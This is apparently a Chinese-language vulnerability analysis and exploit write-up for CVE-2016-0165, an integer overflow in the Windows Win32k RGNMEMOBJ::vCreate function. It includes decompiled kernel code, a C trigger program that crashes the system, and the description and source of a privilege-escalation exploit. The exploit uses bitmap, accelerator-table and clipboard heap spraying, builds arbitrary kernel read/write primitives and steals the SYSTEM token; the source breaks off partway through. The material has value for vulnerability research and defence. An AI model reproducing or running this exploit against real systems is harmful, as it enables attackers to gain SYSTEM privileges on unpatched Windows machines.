CVE-2016-0165 分析&利用POC

CVE-2016-0165

1. 漏洞简介

1.1.漏洞描述

发生在 Win32k.sys 图形驱动文件 R G N M E M O B J : : v C r e a t e \textcolor{orange}{RGNMEMOBJ::vCreate} RGNMEMOBJ::vCreate函数中的整型溢出导致的内存越界写漏洞,攻击者可以利用此漏洞进行本地权限提升。

1.2.影响版本
windows_10:-:*:*:*:*:*:*:*
windows_10:1511:*:*:*:*:*:*:*
windows_7:*:sp1:*:*:*:*:*:*
windows_8.1:*:*:*:*:*:*:*:*
windows_rt_8.1:-:*:*:*:*:*:*:*
windows_server_2008:*:sp2:*:*:*:*:*:*
windows_server_2008:r2:sp1:*:*:*:*:*:*
windows_server_2012:-:*:*:*:*:*:*:*
windows_server_2012:r2:*:*:*:*:*:*:*
windows_vista:*:sp2:*:*:*:*:*:*
1.3.危害等级

7.8 | 高危

2.漏洞分析

2.1.补丁分析

这是未打补丁和打过补丁之后的 R G N M E M O B J : : v C r e a t e \textcolor{orange}{RGNMEMOBJ::vCreate} RGNMEMOBJ::vCreate函数对比图

在这里插入图片描述

有点像找不同在这里插入图片描述
,发现主要有6处不同。

  • 标号①对应的是情况是

在这里插入图片描述

这是在分配缓冲区之前增加的两个函数

在这里插入图片描述

看到 U L o n g A d d \textcolor{cornflowerblue}{ULongAdd} ULongAdd U L o n g L o n g T o U L o n g \textcolor{cornflowerblue}{ULongLongToULong} ULongLongToULong的实现

int __stdcall ULongAdd(unsigned int a1, unsigned int a2, unsigned int *a3)
{
  if ( a1 + a2 < a1 )  // 判断溢出
  {
    *a3 = -1;
    return 0x80070216;
  }
  else
  {
    *a3 = a1 + a2;
    return 0;
  }
}

HRESULT __stdcall ULongLongToULong(ULONGLONG ullOperand, ULONG *pulResult)
{
  if ( HIDWORD(ullOperand) ) // 取高32位
  {
    *pulResult = -1;
    return 0x80070216;
  }
  else
  {
    *pulResult = ullOperand; // 仅当高32位为 0x00000000时才允许转成ULONG类型的数据
    return 0;
  }
}

可以推测没打补丁之前这个地方会存在整型溢出漏洞。后续会进行内存分配,然后写入数据。现在看到没打补丁之前的情况:

void __thiscall RGNMEMOBJ::vCreate(RGNMEMOBJ *this, struct EPATHOBJ *a2, char a3, struct _RECTL *a4)
{
 ...
  v4 = a2;
  if ( !*((_DWORD *)a2 + 2) )
    return;
  *(_DWORD *)this = 0;
  if ( (*(_BYTE *)a2 & 1) != 0 && !EPATHOBJ::bFlatten(a2) )
    return;
  EPATHOBJ::vCloseAllFigures(a2); // 将起始坐标和终止坐标连接,形成封闭图
  v6 = *((_DWORD *)a2 + 1);	// 获取边数
  ...
  LABEL_13:
  if ( v6 >= 0x14 ) // 边数目大于等于0x14
  {
    if ( 40 * (v6 + 1) )
    {
      PoolWithTag = ExAllocatePoolWithTag(PagedPoolSession, 40 * (v6 + 1), 'ngrG');
      v7 = a4;
      P = PoolWithTag;
    }
      ...
  }
   
  pEdge = (struct EDGE *)P;
  vConstructGET(a2, &v29, pEdge, a4);  // 该函数会向pEdge中写入数据
  ...

}

@line:16 存在整数溢出的隐患是变量 v6,而 v6来源于 EPATHOBJ结构指针偏移为 8的数据。相关类的部分定义如下

typedef struct _PATHOBJ
{
    FLONG   fl;
    ULONG   cCurves;
} PATHOBJ;

class EPATHOBJ : public _PATHOBJ /* epo */
{
private:
    friend VOID vConstructGET(EPATHOBJ& po, PEDGE pedgeHead, PEDGE pedgeFree,RECTL *pBound);

public:
    PPATH    ppath;

protected:
    ...
}

所以以上变量 v6表示的则是 E P A T H O B J \textcolor{orange}{EPATHOBJ} EPATHOBJ类中的 ppath成员,接下来考虑如何触发这个整型溢出的 BUG。发现有如下函数会调用到这个易受攻击的函数

R G N M E M O B J : : v C r e a t e ( R G N M E M O B J   ∗ t h i s ,   s t r u c t   E P A T H O B J   ∗ a 2 ,   c h a r   a 3 ,   s t r u c t   _ R E C T L   ∗ a 4 ) \textcolor{cornflowerblue}{RGNMEMOBJ::vCreate(RGNMEMOBJ\ *this,\ struct\ EPATHOBJ\ *a2,\ char\ a3,\ struct\ \_RECTL\ *a4)} RGNMEMOBJ::vCreate(RGNMEMOBJ this, struct EPATHOBJ a2, char a3, struct _RECTL a4)

在这里插入图片描述

而其中只有函数 N t G d i P a t h T o R e g i o n ( H D C   h d c ) \textcolor{cornflowerblue}{NtGdiPathToRegion(HDC\ hdc)} NtGdiPathToRegion(HDC hdc)ppath有关,所以首先尝试在 Ring3调用 P a t h T o R e g i o n \textcolor{cornflowerblue}{PathToRegion} PathToRegion函数来触发漏洞。如何触发漏洞是难点之一,我在分析的时候花的最多的时间也在这上面。主要是之前并没有 Win32绘图的编程经验,而该漏洞的触发需要使用到绘图函数,因此在尝试之前有必要做一些前置知识的了解。

2.2.漏洞触发
2.2.1.前置知识
HRGN PathToRegion(
  [in] HDC hdc
);
  • 功能:将路径转换成区域。

  • [in] hdc:处理包含封闭路径的设备上下文。

  • 返回值:如果函数成功,则返回值标识一个有效区域。如果函数失败,则返回值为零。

  1. 路径的概念

    Win32操作系统中,除了已有的位图,画笔,画刷,字体,调色板和区域之外,还增加了一个新的 GDI对象:路径。路径是可以被填充,画出轮廓或同时被画出轮廓并填充的一个或多个图形。路径的引入,大大地丰富了 Windows的图形功能,使得应用程序可以方便地建立复杂区域,绘制和填充不规则图形。

    1. 路径的使用

      与其它原有的 GDI对象不同的是,MFC类库没有专门用一个 **C++**类来封装路径对象(或许在以后的版本中会得到支持)。有关路径的定义和使用等各种操作都必须通过调用 API函数(或 CDC类中对应的成员函数)来实现。

      路径的使用过程大致如下:
      (1)调用 B e g i n P a t h ( ) \textcolor{cornflowerblue}{BeginPath()} BeginPath()函数开始路径定义;
      (2)调用 GDI绘图函数来定义路径。可用的函数有:

          ```c
          AngleArc
          Arc
          ArcTo
          Chord
          CloseFigure
          Ellipse
          ExtTextOut
          LineTo
          MoveToEx
          Pie
          PolyBezier
          PolyBezierTo
          PolyDraw
          Polygon
          Polyline
          PolylineTo
          PolyPolygon
          PolyPolyline
          Rectangle
          RoundRect
          TextOut 
          ```
      

      (3)调用 E n d P a t h ( ) \textcolor{cornflowerblue}{EndPath()} EndPath()函数结束路径定义;

      (4)使用路径对象,其中就包含函数 P a t h T o R e g i o n \textcolor{cornflowerblue}{PathToRegion} PathToRegion

2.2.2.触发分析

这个过程我遇到的困难挺多的,首先我从最简单的画线函数 L i n e T o \textcolor{cornflowerblue}{LineTo} LineTo开始尝试,结果并没有走到整型溢出的漏洞点,而是在下图位置的条件判断中
在这里插入图片描述

函数返回真,接着就返回了。我又换了别的绘图函数 E l l i p s e \textcolor{cornflowerblue}{Ellipse} Ellipse L i n e T o \textcolor{cornflowerblue}{LineTo} LineTo,结果依然是在上图的 if判断中成真。有那么多绘图函数,如果都是这样去试显然是低效的且不保证能成功。这不得不使我去分析

R G N M E M O B J : : b F a s t F i l l W r a p p e r \textcolor{cornflowerblue}{RGNMEMOBJ::bFastFillWrapper} RGNMEMOBJ::bFastFillWrapper函数。

int __thiscall RGNMEMOBJ::bFastFillWrapper(RGNMEMOBJ *this, struct EPATHOBJ *ppo)
{
  // [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]

  v11 = 0;
  v3 = *((_DWORD *)ppo + 2);
  *(_DWORD *)ppo &= ~8u;
  v9 = this;
  *(_DWORD *)(v3 + 0x38) = *(_DWORD *)(v3 + 0x14);
  if ( EPATHOBJ::bEnum((PATHOBJ *)ppo, &ppd) )  // 枚举路径中的坐标点
  {
    if ( (ppd.flags & 2) == 0 && *((_DWORD *)ppo + 1) <= 0x28u )// 如果结束于非子路径,并且曲线个数不超过40
    {
      count = ppd.count;
      if ( (int)ppd.count > 0x28 )
        count = 0x28;
      memcpy(v8, ppd.pptfx, 8 * count);         // 将路径中的所有坐标数据拷贝到栈中
      while ( 1 )
      {
        ppoa = (PATHOBJ *)EPATHOBJ::bEnum((PATHOBJ *)ppo, &ppd);
        if ( (ppd.flags & 1) != 0 )             // 如果是子路径的开始端,则跳出循环
                                                // 函数返回假
          break;
        v5 = ppd.count;
        memcpy(&v8[count], ppd.pptfx, 8 * ppd.count); // 将路径中的所有坐标数据拷贝到栈中
        count += v5;
        if ( !ppoa )
        {
          v6 = RGNMEMOBJ::bFastFill(v9, ppo, count, v8); 
          goto LABEL_12;
        }
      }
    }
  }
  else
  {
    v6 = 1;
    if ( ppd.count > 1 )
      v6 = RGNMEMOBJ::bFastFill(v9, ppo, ppd.count, ppd.pptfx);
LABEL_12:
    v11 = v6;
  }
  *(_DWORD *)ppo &= ~8u;
  *(_DWORD *)(*((_DWORD *)ppo + 2) + 0x38) = *(_DWORD *)(*((_DWORD *)ppo + 2) + 0x14);
  return v11;
}

我们分析的主要目的是使得该函数返回假。所以我们看到该函数成假的返回路径有 @ l i n e : 5 − > @ l i n e : 12 − > @ l i n e : 43 \textcolor{orange}{@line:5->@line:12->@line:43} @line:5>@line:12>@line:43,虽然 @ l i n e : 5 − > @ l i n e : 29 − > @ l i n e : 40 \textcolor{orange}{@line:5->@line:29->@line:40} @line:5>@line:29>@line:40这条路径也有可能返回假,但是我们还要去考虑函数

R G N M E M O B J : : b F a s t F i l l \textcolor{cornflowerblue}{RGNMEMOBJ::bFastFill} RGNMEMOBJ::bFastFill,增加了工作量,所以先不予考虑这第二条路径。

我们只要想办法让**@line:10的条件成立,@line:12**的条件不成立即可。根据对 E P A T H O B J : : b E n u m \textcolor{cornflowerblue}{EPATHOBJ::bEnum} EPATHOBJ::bEnum函数的简单分析,只要我们定义的路径中不少于两条,那么 @line:10的条件就会成立。另外还需这些路径具有PD_ENDSUBPATH标志,这样 @line:12的条件就不成立,使该函数返回假。

在函数 E P A T H O B J : : b E n u m \textcolor{cornflowerblue}{EPATHOBJ::bEnum} EPATHOBJ::bEnum中,路径中所有的点坐标已经用链表的方式链接起来了, G r e P o l y P o l y l i n e \textcolor{cornflowerblue}{GrePolyPolyline} GrePolyPolyline函数能够完成这样的操作。因为 G r e P o l y P o l y l i n e \textcolor{cornflowerblue}{GrePolyPolyline} GrePolyPolyline函数其中一条调用路径为 G r e P o l y P o l y l i n e \textcolor{cornflowerblue}{GrePolyPolyline} GrePolyPolyline-> E P A T H O B J : : b P o l y L i n e T o \textcolor{cornflowerblue}{EPATHOBJ::bPolyLineTo} EPATHOBJ::bPolyLineTo-> E P A T H O B J : : a d d p o i n t s \textcolor{cornflowerblue}{EPATHOBJ::addpoints} EPATHOBJ::addpoints-> E P A T H O B J : : c r e a t e r e c \textcolor{cornflowerblue}{EPATHOBJ::createrec} EPATHOBJ::createrec,其中函数 E P A T H O B J : : c r e a t e r e c \textcolor{cornflowerblue}{EPATHOBJ::createrec} EPATHOBJ::createrec 会为点坐标划分区域,并将每个新路径用链表链接起来,并设置PD_ENDSUBPATH标志。

在这里插入图片描述

该函数对应的应用层接口为 P o l y L i n e \textcolor{cornflowerblue}{PolyLine} PolyLine。接下来分析如何溢出。

2.2.3.溢出分析

在漏洞函数 R G N M E M O B J : : v C r e a t e \textcolor{cornflowerblue}{RGNMEMOBJ::vCreate} RGNMEMOBJ::vCreate中,当路径数不少于 0x14时,就会走到整型溢出漏洞点

在这里插入图片描述

一个无符号 int型最大是 0xFFFFFFFF,解不等式 0 x 28   ∗   ( x + 1 )   >   0 x F F F F F F F F \textcolor{orange}{0x28\ *\ (x+1)\ >\ 0xFFFFFFFF} 0x28  (x+1) > 0xFFFFFFFF,得到 x   >   0 x 6666665 \textcolor{orange}{x\ >\ 0x6666665} x > 0x6666665,所以路径的总数至少为 0x6666666,这样最终分配的大小为 0x18,实际分配大小为 0x20

但是 N t G d i P o l y P o l y D r a w \textcolor{cornflowerblue}{NtGdiPolyPolyDraw} NtGdiPolyPolyDraw有个限制,一次绘制的点坐标不能超过 0x4E2000,而 P o l y L i n e \textcolor{cornflowerblue}{PolyLine} PolyLine内部调用的是 N t G d i P o l y P o l y D r a w \textcolor{cornflowerblue}{NtGdiPolyPolyDraw} NtGdiPolyPolyDraw,会受此限制,因此需要分多次调用。

在这里插入图片描述

还有个地方需要注意

在这里插入图片描述

@line:106这行的判断需要满足,否则没有办法调用到 @line:126,就不能向申请的内存中写数据。这行判断的是当前区域的大小(底部y坐标与顶部y坐标相减),如果过小就走到 @line:108 进行扩展。

触发漏洞的代码:

#include<stdio.h>
#include<stdlib.h>
#include<windows.h>
#include<wingdi.h>
#include<math.h>

#define CPT 0x6666666
#define MAX_LIMIT 0x4E2000
#define SPRAY_NUM 0x1000

static POINT pt[CPT];

VOID Trigger()
{
	HDC hDc = GetDC(NULL);
	if (hDc == NULL)
	{
		printf("[-] Line = %d: Failed to call CreateDC.\n", __LINE__);
		return;
	}

	for (ULONG j = 0; j < 0x100; j++)
	{
		pt[j].x = j;
		pt[j].y = j+1;
	}
	
	if (!BeginPath(hDc))
	{
		printf("[-] Line = %d: Failed.\n", __LINE__);
		return;
	}

	for (LONG i = CPT; i > 0; i -= min(MAX_LIMIT, i))
	{
		if (!Polyline(hDc, &pt[CPT - i], min(MAX_LIMIT, i)))
		{
			printf("[-] Line = %d: Failed.\n", __LINE__);
			return;
		}
		
	}

	if (!EndPath(hDc))
	{
		printf("[-] Line = %d: Failed to define path.\n", __LINE__);
		return;
	}

	HRGN hRgn = PathToRegion(hDc);
	
	if (hRgn==NULL)
	{
		printf("[-] Line = %d: Failed to trigger.\n", __LINE__);
		return;
	}
	
	
}

int main(int argc, char** argv)
{
	Trigger();
	return 0;
}

观察调用完 v C o n s t r u c t G E T \textcolor{cornflowerblue}{vConstructGET} vConstructGET函数后,新分配的内存被写入非常巨大的数据量,里面全都是 1或者 0xFFFFFFFF,邻接的内存块也被破坏掉了,最后在释放这块内存的时候就会出错,导致系统 BSOD

3.漏洞利用

3.1.控制溢出大小

这也是该漏洞的难点之二

首先考虑如何控制 v C o n s t r u c t G E T \textcolor{cornflowerblue}{vConstructGET} vConstructGET写入数据。

void __stdcall vConstructGET(struct EPATHOBJ *po, EDGE *pGETHead, struct EDGE *pFreeEdges, struct _RECTL *pBound)
{
  // [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]

  pGETHead->pNext = pGETHead;
  pGETHead->Y = 0x7FFFFFFF;
  pppr = *(PATHRECORD **)(*((_DWORD *)po + 2) + 0x14);
  pptfxPrev = 0;
  for ( pptfxStart = 0; pppr; pppr = pppr->pprnext )
  {
    pptfx = pppr->aptfx;
    if ( (pppr->flags & 1) != 0 )               // ppr->flags & PD_BEGINSUBPATH
    {
      pptfxStart = (struct _POINTFIX *)pppr->aptfx;
      pptfxPrev = (struct _POINTFIX *)pppr->aptfx;
      pptfx = &pppr->aptfx[1];                  // 获取第一个点坐标
    }
    for ( pptfxEnd = (struct EPATHOBJ *)&pppr->aptfx[pppr->count]; pptfx < (POINT *)pptfxEnd; ++pptfx )// pptfxEnd = ppr->aptfx + ppr->count
    {                                           
      pFreeEdges = AddEdgeToGET(pGETHead, pFreeEdges, pptfxPrev, (struct _POINTFIX *)pptfx, pBound);
      pptfxPrev = (struct _POINTFIX *)pptfx;
    }
    if ( (pppr->flags & 2) != 0 )               // ppr->flags & PD_ENDSUBPATH
    {
      pFreeEdges = AddEdgeToGET(pGETHead, pFreeEdges, pptfxPrev, pptfxStart, pBound);
      pptfxPrev = 0;
    }
  }
}

函数先获取第一条路径记录 @line:7,然后找到当前路径记录中的第一个坐标。根据之前编写的触发漏洞的 POC@line:18会循环 0x1F3次。实际向内存中写入数据的操作在 A d d E d g e T o G E T \textcolor{cornflowerblue}{AddEdgeToGET} AddEdgeToGET函数中,写入的值有以下几种情况:

  1. Edge_end_Y = ppfxEdgeEnd->y;
    bottom = ppfxEdgeStart->y;
    ppfxEdgeStarta = Edge_end_Y - bottom;
    if ( Edge_end_Y - bottom < 0 )
    {
        x1 = ppfxEdgeEnd->x;
        ppfxEdgeStarta = bottom - ppfxEdgeEnd->y;
        x2 = ppfxEdgeStart->x;
        pFreeEdg = pFreeEdge;
        pFreeEdge->lWindingDirection = 0xFFFFFFFF;
        ppfxEdgeEnda = (struct _POINTFIX *)Edge_end_Y;
    }
    

​ 函数将前一个坐标当做底,当第二个点的 Y坐标小于前一个点的 Y坐标,则向 pFreeEdge偏移0x24的位置写入 0xFFFFFFFF

  1. x1 = ppfxEdgeStart->x;
    pFreeEdg = pFreeEdge;
    x2 = ppfxEdgeEnd->x;
    ppfxEdgeEnda = (struct _POINTFIX *)bottom;
    bottom = Edge_end_Y;
    pFreeEdge->lWindingDirection = 1;
    

​ 当第二个点的 Y坐标大于等于前一个点的 Y坐标,则向 pFreeEdge偏移 0x24的 位置写入 1

  1. if ( x < 0 )
    {
        pFreeEdg->lXDirection = 0xFFFFFFFF;
        x = -x;
        pFreeEdg->lErrorTerm = -ppfxEdgeStarta;
    }
    else
    {
        pFreeEdg->lErrorTerm = 0xFFFFFFFF;
        pFreeEdg->lXDirection = 1;
    }
    

​ 如果后一个点的 X坐标大于前一个点的 X坐标,则向 pFreeEdge偏移 0x10的位 置写入后一个点的 Y坐标与前一个点的 Y坐标的差值的相反数,向 pFreeEdge偏 移 0x20的位置写入 0xFFFFFFFF;否则向 pFreeEdge偏移 0x10的位置写入 0xFFFFFFFF,向 pFreeEdge偏移 0x10的位置写入 1

if ( x < ppfxEdgeStarta )
{
    pFreeEdg->lXWhole = 0;
}

​ 两个点 X坐标差值小于 0两点 Y坐标差值时,向 pFreeEdge偏移 0x1C的位置写 入 0

  1. 两点坐标斜率大于 0时,向 pFreeEdge偏移 0x1C的位置写入其斜率。
v11 = ((int)&ppfxEdgeEnda[1].y + 3) >> 4;
pFreeEdg->Y = v11;
pFreeEdg->lScansLeft = ((bottom + 0xF) >> 4) - v11;
if ( ((bottom + 0xF) >> 4) - v11 <= 0 )
    return pFreeEdg;

pFreeEdge偏移 0xC的位置写入第二个点的 Y坐标值 @line:2,向 pFreeEdge偏移为 0x4的位置写入前一个点的 Y坐标与第二个点的 Y坐标的差值。

前一个点的 Y坐标小于第二个点的 Y坐标,则直接返回 pFreeEdge指向的内存 @line:5,否则后面会返回 p F r e e E d g e + 0 x 28 \textcolor{orange}{pFreeEdge+0x28} pFreeEdge+0x28作为下一次调用当前函数的参数 pFreeEdge

3.2.内存布局

Windows内核池分配中,不大于 0x1000字节的内存会带有POOL_HEADER头结构充当池内存块的头部。如果分配的两个地址上连续且都在同一页面的内存,释放前一个内存的时候,则系统会校验邻接的下一块内存的头部;而如果分配的两个地址上连续但不在同个页面内的内存,释放前一个内存,系统则不会校验邻接的下一块内存头部。

而从之前的分析中得知,该漏洞函数中分配的内存属于会话分页内存池范畴里的,因此我们也需要用该池范畴的内存来进行堆布局,而 BitMap对象就是最佳首选,并且其在 Win7中的利用已是司空见惯。

我们首先用 BitMap对象占掉一页中的 0xF90大小,通过控制漏洞函数去分配 0x70字节的内存作为溢出的对象。为了使得漏洞函数分配到的内存地址恰好在 BitMap对象之后,我们还要用加速表对象占掉之前系统可能存在的 0x70字节大小的内存空隙,以提高漏洞函数分配的内存块恰好落在 BitMap对象之后的概率。

这种布局理想情况下应该如下图所示:

在这里插入图片描述

但是经过调试很快发现这样的布局存在一个问题,就是不论我们怎么控制溢出的大小,经过函数 v C o n s t r u c t G E T \textcolor{cornflowerblue}{vConstructGET} vConstructGET之后,并不能精确覆盖到 BitMap对象中期待的字段。所以需要引入被称为 **“垫片”**的东西,就是在 BitMap对象之前做些铺垫,使得函数 v C o n s t r u c t G E T \textcolor{cornflowerblue}{vConstructGET} vConstructGET溢出覆写垫片之后,恰好能修改 BitMap对象的 sizlBitmap0xFFFFFFFF并且 dhpdev0(防止调用 G e t B i t m a p B i t s \textcolor{cornflowerblue}{GetBitmapBits} GetBitmapBits出错)。垫片大小需要满足如下两个关系式:
{ 0 x F 90 + 0 x 1 C + 0 x 28 ∗ x + 0 x 20 = 0 x 1000 + i + 0 x 14 0 x F 90 + 0 x 24 + 0 x 28 ∗ x + 0 x 20 = 0 x 1000 + i + 0 x 1 C \{^{0xF90+0x24+0x28*x+0x20=0x1000+i+0x1C}_{ 0xF90+0x1C+0x28*x+0x20=0x1000+i+0x14} {0xF90+0x1C+0x28x+0x20=0x1000+i+0x140xF90+0x24+0x28x+0x20=0x1000+i+0x1C

这里的 x代表控制函数 v C o n s t r u c t G E T \textcolor{cornflowerblue}{vConstructGET} vConstructGET精确修改 BitMap对象需要的点数,i表示垫片的大小。满足上述关系式的 xi取值如下表:

num:66, clip_size:0xa08
num:67, clip_size:0xa30
num:68, clip_size:0xa58
num:69, clip_size:0xa80
num:70, clip_size:0xaa8
num:71, clip_size:0xad0
num:72, clip_size:0xaf8
num:73, clip_size:0xb20
num:74, clip_size:0xb48
num:75, clip_size:0xb70
num:76, clip_size:0xb98
num:77, clip_size:0xbc0
num:78, clip_size:0xbe8
num:79, clip_size:0xc10
num:80, clip_size:0xc38
num:81, clip_size:0xc60
num:82, clip_size:0xc88
num:83, clip_size:0xcb0
num:84, clip_size:0xcd8

我选取 @line:2这组,所以理想的内存布局变成如下图所示:

在这里插入图片描述

垫片使用的是剪贴板对象,该对象存在内存泄漏的问题。在没有调用 O p e n C l i b o a r d \textcolor{cornflowerblue}{OpenCliboard} OpenCliboard函数并清空剪贴板数据的情况下,被分配的剪贴板对象及数据在当前活跃会话生命中周期内将会一直存在与分页会话池中,所以不用担心这部分数据被溢出覆盖破坏后释放出错的情况发生。

另外,在测试中发现使用 P o l y L i n e \textcolor{cornflowerblue}{PolyLine} PolyLine函数会和上面给出的关系式发生冲突,表现为写入的数据理论位置和实际位置不同,因此我们期待的位图对象期待关键字段没有被修改为我们感兴趣的值,而当我试图根据如上关系式做出一点修改之后,虽然可以修改到关键字段了,但是关键字段后我们不希望被破坏的字段竟被破坏了,而利用 P o l y L i n e T o \textcolor{cornflowerblue}{PolyLineTo} PolyLineTo函数则不会,基于此改用 P o l y L i n e T o \textcolor{cornflowerblue}{PolyLineTo} PolyLineTo

通过如上的内存布局,我们成功修改了位图对象的 sizlBitmap0xFFFFFFFFdhpdev0。接下来就是找到该位图对象对应的应用层句柄和它临近的下一个位图对象对应的应用层句柄。

3.3.定位位图对象

我们希望找到被溢出修改的位图对象作为管理者角色,与之临近的下一个位图对象作为工作者角色。利用管理者修改工作者的 pvScan0字段为任意地址,然后对工作者调用函数 S e t B i t M a p B i t s \textcolor{cornflowerblue}{SetBitMapBits} SetBitMapBits函数实现任意地址写。

寻找管理者位图的方法也很简单,就是对之前保存的位图句柄列表依次调用 G e t B i t m a p B i t s \textcolor{cornflowerblue}{GetBitmapBits} GetBitmapBits函数,读取 0x4000大小的数据,如果函数返回 0x4000则表示找到了管理者位图,工作者位图同理。

3.4.提权

通过前面的操作,我们获得了任意内存的读写原语,接下来就是遍历系统的EPROCESS结构,找出 SYSTEM进程的EPROCESS和当前POC进程的EPROCESS,用 SYSTEMToken替换当前 POC进程的 Token实现提权。

3.5.恢复

堆溢出势必会破坏对象内核池的头部和一些关键字段,所以需要进行修复,否则会造成系统的不稳定。恢复分两个阶段,一个是在使用位图对象读写原语的过程中就进行修复,另一个是在利用完毕之后恢复被破坏掉的堆头。主要恢复的对象就是管理者和工作者的被破坏掉的堆头,还有一些字段。

3.6.EXP
#include<stdio.h>
#include<stdlib.h>
#include<windows.h>
#include<wingdi.h>
#include<math.h>
#include <Psapi.h>
#pragma comment(lib, "psapi.lib")

#define CPT 0x6666667
#define MAX_LIMIT 0x4E2000
#define SPRAY_NUM 0x1000
#define NUM 67
#define BTSIZE 0xE34
#define CLIPBOARD_SIZE 0xA30

static POINT pt[CPT];

HBITMAP g_hbits[SPRAY_NUM];
HACCEL g_hacl[SPRAY_NUM];
DWORD g_RawPvScan0 = 0;
DWORD g_RawDhSurf = 0;
DWORD g_Raw0x3A9 = 0;
DWORD g_Raw0x3AA = 0;
DWORD g_Raw0x3AD = 0;
DWORD g_Raw0x3B5 = 0;
DWORD g_Raw0x3B3 = 0;
DWORD g_Raw0x3B4 = 0;
DWORD g_Raw0x3B6 = 0;

HBITMAP g_hManager = NULL;
HBITMAP g_hWorker = NULL;

VOID
CreateClipboard(DWORD Size)
{
	PBYTE Buffer = (PBYTE)malloc(Size);
	FillMemory(Buffer, Size, 0x41);
	Buffer[Size - 1] = 0x00;
	HGLOBAL hMem = GlobalAlloc(GMEM_MOVEABLE, (SIZE_T)Size);
	CopyMemory(GlobalLock(hMem), Buffer, (SIZE_T)Size);
	GlobalUnlock(hMem);
	SetClipboardData(CF_TEXT, hMem);
}

VOID HeapSpray()
{
	ACCEL act[0xD] = { 0 };

	for (int i = 0; i < SPRAY_NUM; i++)
	{
		HBITMAP h = CreateBitmap(BTSIZE, 1, 1, 8, NULL);
		if (h == NULL)
		{
			printf("[-] Line = %d: Failed to spray.\n", __LINE__);
			return;
		}
		g_hbits[i] = h;
	}

	for (int i = 0; i < SPRAY_NUM; i++)
	{
		HACCEL h = CreateAcceleratorTableA(act, 0xD);
		if (h == NULL)
		{
			printf("[-] Line = %d: Failed to spray.\n", __LINE__);
			return;
		}
		g_hacl[i] = h;
	}

	for (int i = 0; i < SPRAY_NUM; i++)
	{
		DeleteObject(g_hbits[i]);
		g_hbits[i] = NULL;
	}

	for (int i = 0; i < SPRAY_NUM; i++)
		CreateClipboard(CLIPBOARD_SIZE-0x14);

	for (int i = 0; i < SPRAY_NUM; i++)
	{
		HBITMAP h = CreateBitmap(1, ((0x1000 - 0x70 - 0x154 - CLIPBOARD_SIZE)-8)/4, 1, 0x20, NULL);
		if (h == NULL)
		{
			printf("[-] Line = %d: Failed to spray.\n", __LINE__);
			return;
		}
		g_hbits[i] = h;
	}

	for (int i = 0xA00; i < 0xD00; i++)
		DestroyAcceleratorTable(g_hacl[i]);
}

BOOL FindOutWorkerAndManager()
{
	PDWORD Buf = (PDWORD)malloc(0x1000*sizeof(DWORD));
	for (int i = 0; i < SPRAY_NUM; i++)
	{
		DWORD dwSize = GetBitmapBits(g_hbits[i], 0x1000 * sizeof(DWORD), (LPVOID)Buf);
		
		if (dwSize == (0x1000 * sizeof(DWORD)))
		{
			g_hManager = g_hbits[i];
			g_Raw0x3A9 = Buf[0x3A9];
			g_Raw0x3AA = Buf[0x3AA];
			g_Raw0x3AD = Buf[0x3AD];
			g_Raw0x3B3 = Buf[0x3B3];
			g_Raw0x3B4 = Buf[0x3B4];
			g_Raw0x3B5 = Buf[0x3B5];
			g_Raw0x3B6 = Buf[0x3B6];
			g_RawPvScan0 = Buf[0x3B7];
			g_RawDhSurf = Buf[0x3AB];
			
			printf(
				"[+] g_Raw0x3A9 = %p\n"
				"[+] g_Raw0x3AA = %p\n"
				"[+] g_Raw0x3B3 = %p\n"
				"[+] g_Raw0x3B5 = %p\n"
				"[+] g_Raw0x3B6 = %p\n"
				"[+] g_RawPvScan0 = %p\n"
				"[+] g_RawDhSurf = %p\n",
				g_Raw0x3A9,
				g_Raw0x3AA,
				g_Raw0x3B3,
				g_Raw0x3B5,
				g_Raw0x3B6,
				g_RawPvScan0,
				g_RawDhSurf
			);

			DWORD Data[0x3B6] = { 0 };
			Data[0x3A9] = g_Raw0x3A9;
			Data[0x3AA] = g_Raw0x3AA;
			Data[0x3AB] = g_RawDhSurf;
			Data[0x3AD] = g_Raw0x3AD;
			Data[0x3B0] = g_RawDhSurf;
			Data[0x3B3] = g_Raw0x3B3;
			Data[0x3B4] = -1;
			Data[0x3B5] = g_Raw0x3B5;
			SetBitmapBits(g_hManager, sizeof(Data), Data);

			// 以同样的方法寻找hWorker
			for (int j = 0; j < SPRAY_NUM; j++)
			{
				dwSize = GetBitmapBits(g_hbits[j], 0x1000 * sizeof(DWORD), (LPVOID)Buf);
				if (g_hbits[j]!=g_hManager && dwSize == (0x1000 * sizeof(DWORD)))
				{
					g_hWorker = g_hbits[j];
					break;
				}
			}
			free(Buf);
			return TRUE;
		}
	}
	free(Buf);
	return FALSE;
}

BOOL WriteMem(DWORD TargetAddress,DWORD Size,PDWORD Value)
{
	DWORD Data[0x3B8] = { 0 };
	Data[0x3B6] = g_Raw0x3B6;
	Data[0x3B7] = TargetAddress;
	Data[0x3A9] = g_Raw0x3A9;
	Data[0x3AA] = g_Raw0x3AA;
	Data[0x3AB] = g_RawDhSurf;
	Data[0x3AD] = g_Raw0x3AD;
	Data[0x3B0] = g_RawDhSurf;
	Data[0x3B3] = g_Raw0x3B3;
	Data[0x3B4] = g_Raw0x3B4;
	Data[0x3B5] = g_Raw0x3B5;
	SetBitmapBits(g_hManager, sizeof(Data), Data);
	return (SetBitmapBits(g_hWorker, Size, Value) == Size);
}

BOOL ReadDword(DWORD TargetAddress, PDWORD Value)
{
	DWORD Data[0x3B8] = { 0 };
	Data[0x3B6] = g_Raw0x3B6;
	Data[0x3B7] = TargetAddress;
	Data[0x3A9] = g_Raw0x3A9;
	Data[0x3AA] = g_Raw0x3AA;
	Data[0x3AB] = g_RawDhSurf;
	Data[0x3AD] = g_Raw0x3AD;
	Data[0x3B0] = g_RawDhSurf;
	Data[0x3B3] = g_Raw0x3B3;
	Data[0x3B4] = g_Raw0x3B4;
	Data[0x3B5] = g_Raw0x3B5;
	SetBitmapBits(g_hManager, sizeof(Data), Data);

	if (GetBitmapBits(g_hWorker, sizeof(DWORD), Value) == sizeof(DWORD))
	{
		return TRUE;
	}
	return FALSE;
}

DWORD GetEprocessInKernelSpace()
{
	PVOID DriverBase[1024] = { 0 };
	DWORD dwRetBytes = 0;
	CHAR DriveName[1024] = { 0 };
	HMODULE hKernel = 0;

	EnumDeviceDrivers(DriverBase, sizeof(DriverBase), &dwRetBytes);
	if (dwRetBytes < 0) {
		printf("[-]: Faild to GetKernelBase!\n");
		return 0;
	}
